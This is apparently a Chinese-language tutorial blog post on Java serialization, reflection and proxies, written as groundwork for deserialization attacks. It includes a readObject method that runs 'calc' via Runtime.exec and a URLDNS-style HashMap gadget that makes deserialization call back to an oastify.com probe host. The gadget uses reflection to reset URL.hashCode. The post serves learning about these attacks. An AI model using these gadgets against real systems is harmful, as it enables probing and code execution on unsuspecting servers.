java原生序列化和反序列化 一个简单的例子,通过FileOutputStream
和FileInputStream
完成,前提是person类继承了Serializable接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.yiyi;import java.io.*;import java.net.URL;import java.util.HashMap;public class Main { public static void serializeTest (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("person.ser" )); oos.writeObject(obj); } public static Object unserializeTest (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { Person person = new Person ("yiyi" , 30 ); System.out.println(person); System.out.println("ser" ); serializeTest(person); System.out.println("unser" ); Person person2 = (Person)unserializeTest("person.ser" ); System.out.println(person2); } }
这时候如果给Person类加上readObject方法,就可以自定义一些恶意的命令执行
称为入口类的readObject直接调用危险方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package com.yiyi;import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;public class Person implements Serializable { private String name; private int age; @Override public String toString () { return "Person [name=" + name + ", age=" + age + "]" ; } public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc" ); } }
还有一种是入口类参数中包含可控类,但该类有危险方法或调用其他危险方法的类,readObject时调用
如:使用hashmap进行恶意命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package com.yiyi;import java.io.*;import java.net.URL;import java.util.HashMap;public class Main { public static void serializeTest (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("person.ser" )); oos.writeObject(obj); } public static Object unserializeTest (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { HashMap<URL,Integer> hashmap = new HashMap <URL,Integer>(); hashmap.put(new URL ("http://5lra77655gfknn84kstknqne65cw0n1bq.oastify.com" ),1 ); System.out.println("ser" ); serializeTest(hashmap); System.out.println("unser" ); unserializeTest("person.ser" ); } }
在序列化过程中,hashmap.put
会自动调用hash方法
hash方法
那么就会调用hashCode(),因此在put时就已经发起了DNS请求
跟踪一下URL中的hashcode()
判断了hashcode是否等于-1,如果不等于-1则不会继续走下去,切hashcode初始值为1
因此在序列化过程中hashcode的值已经被URL更改,在反序列化时就不会得到预想结果
因此需要做的是在序列化过程中不发起请求,在put结束后将hashcode改回-1
我们通过反射来实现。。
反射 反射让java具有动态性
修改已有对象属性
动态生成对象
动态调用方法
操作内部类和私有方法
获取实例化对象 getClass()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.yiyi;import java.lang.reflect.Constructor;public class Main { public static void main (String[] args) throws Exception { Person person = new Person ("yiyi" ,10 ); Class c = person.getClass(); Constructor ctor = c.getConstructor(String.class, int .class); Person p = (Person)ctor.newInstance("yiyi" , 18 ); System.out.println(p); } }
获取类里面的属性 getFields()
无法打印private属性,因为这里我的age为private
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.yiyi;import java.lang.reflect.Constructor;import java.lang.reflect.Field;public class Main { public static void main (String[] args) throws Exception { Person person = new Person ("yiyi" ,10 ); Class c = person.getClass(); Constructor ctor = c.getConstructor(String.class, int .class); Person p = (Person)ctor.newInstance("yiyi" , 18 ); System.out.println(p); Field[] personFilds = c.getFields(); System.out.println(personFilds.length); for (Field f :personFilds){ System.out.println(f); } } }
使用getDeclaredFields
同样也可以不用数组获取
1 2 Field name = Person.class.getDeclaredField("name" );System.out.println(name);
改值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.yiyi; import java.lang.reflect.Constructor; import java.lang.reflect.Field; public class Main { public static void main (String[] args) throws Exception { Person person = new Person ("yiyi" ,10 ); Class c = person.getClass(); Constructor ctor = c.getConstructor(String.class, int .class); Person p = (Person)ctor.newInstance("yiyi" , 18 ); System.out.println(p); Field name = Person.class.getDeclaredField("name" ); System.out.println(name); name.set(p, "abcabc" ); System.out.println(p); } }
此方法对私有属性无效
1 2 3 4 5 6 Exception in thread "main" java.lang.IllegalAccessException: class com.yiyi.Main cannot access a member of class com.yiyi.Person with modifiers "private" at java.base/jdk.internal.reflect.Reflection.newIllegalAccessException(Reflection.java:392) at java.base/java.lang.reflect.AccessibleObject.checkAccess(AccessibleObject.java:674) at java.base/java.lang.reflect.Field.checkAccess(Field.java:1102) at java.base/java.lang.reflect.Field.set(Field.java:797) at com.yiyi.Main.main(Main.java:24)
使用setAccessible()
最终测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.yiyi; import java.lang.reflect.Constructor; import java.lang.reflect.Field; public class Main { public static void main (String[] args) throws Exception { Person person = new Person ("yiyi" ,10 ); Class c = person.getClass(); Constructor ctor = c.getConstructor(String.class, int .class); Person p = (Person)ctor.newInstance("yiyi" , 18 ); System.out.println(p); Field name = Person.class.getDeclaredField("name" ); name.set(p, "11" ); System.out.println(p); Field age = Person.class.getDeclaredField("age" ); age.setAccessible(true ); age.set(p, 100000 ); System.out.println(p); } }
调用类里面的方法 1 2 3 4 5 Method[] personmethods = c.getMethods(); for (Method m: personmethods){ System.out.println(m); }
输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 D:\Java \jdk -17\bin \java.exe "-javaagent:D :\IntelliJ IDEA 2024.1.7\lib \idea_rt.jar =55888:D :\IntelliJ IDEA 2024.1.7\bin " -Dfile.encoding =UTF -8 -classpath C :\Users \31702\Desktop \java \test \target \classes ;C :\Users \31702\.m2 \repository \commons -collections \commons -collections \3.1\commons -collections -3.1.jar com.yiyi.Main Person [name =yiyi , age =18]Person [name =11, age =18]Person [name =11, age =100000]public void com.yiyi.Person.setAge (int )public int com.yiyi.Person.getAge ()public java.lang.String com.yiyi.Person.getName ()public java.lang.String com.yiyi.Person.toString ()public void com.yiyi.Person.setName (java.lang.String )public final void java.lang.Object.wait (long ,int ) throws java.lang.InterruptedException public final void java.lang.Object.wait () throws java.lang.InterruptedException public final native void java.lang.Object.wait (long ) throws java.lang.InterruptedException public boolean java.lang.Object.equals (java.lang.Object )public native int java.lang.Object.hashCode ()public final native java.lang.Class java.lang.Object.getClass ()public final native void java.lang.Object.notify ()public final native void java.lang.Object.notifyAll ()进程已结束,退出代码为 0
我们在Person.java写一个
1 2 3 public void action (String act) { System.out.println(act); }
可以发现多了一个
那么就可以尝试调用
1 2 Method actionmethod = c.getMethod("action", String.class); actionmethod.invoke(p, "11nb");
所以回过头看第一部分遇到的问题,我们在hashmap.put(url, 1);
时要使hashCode不等于-1
原来
现在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.yiyi;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class SerializationTest { public static void serializeTest (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.ser" )); oos.writeObject(obj); } public static void main (String[] args) throws Exception { HashMap<URL,Integer> hashmap = new HashMap <URL,Integer>(); URL url = new URL ("http://yxzn5id5x72oeq4p08k5xavin9t0hq5f.oastify.com" ); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode" ); hashcodefield.set(url,1234 ); hashmap.put(url, 1 ); serializeTest(hashmap); } }
如果报错
1 2 3 4 5 6 7 8 9 10 D:\Java\jdk-17\bin\java.exe "-javaagent:D:\IntelliJ IDEA 2024.1.7\lib\idea_rt.jar=55074:D:\IntelliJ IDEA 2024.1.7\bin" -Dfile.encoding=UTF-8 -classpath C:\Users\31702\Desktop\java\test\target\classes;C:\Users\31702\.m2\repository\commons-collections\commons-collections\3.1\commons-collections-3.1.jar com.yiyi.SerializationTest Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field private int java.net.URL.hashCode accessible: module java.base does not "opens java.net" to unnamed module @214c265e at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297) at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178) at java.base/java.lang.reflect.Field.setAccessible(Field.java:172) at com.yiyi.SerializationTest.main(SerializationTest.java:22) 进程已结束,退出代码为 1
在VM options处加上
1 --add-opens java.base/java.net=ALL-UNNAMED
就发现轮询不到了
put后面再改成-1
1 hashcodefield.set(url,-1);
打个断点调试一下
可以很明显的看到put前后hashcode的变化
动态代理
代理模式可以在不修改被代理对象的基础上,通过扩展代理类,进行某些功能的附加与扩展
常规
1 2 3 4 5 6 7 8 9 package com.yiyi;public class ProxyTest { public static void main (String[] args) { IUser user = new UserImpl (); user.show(); } }
使用proxy
1 2 3 4 5 6 7 8 9 10 11 package com.yiyi;public class ProxyTest { public static void main (String[] args) { IUser user = new UserImpl (); IUser userProxy = new UserProxy (user); userProxy.show(); } }
个人感觉这种静态代理实现的是个日志功能
但是静态代理在方法繁多的情况下代码量大,因此引入动态代理
直接看这个
Java动态代理-CSDN博客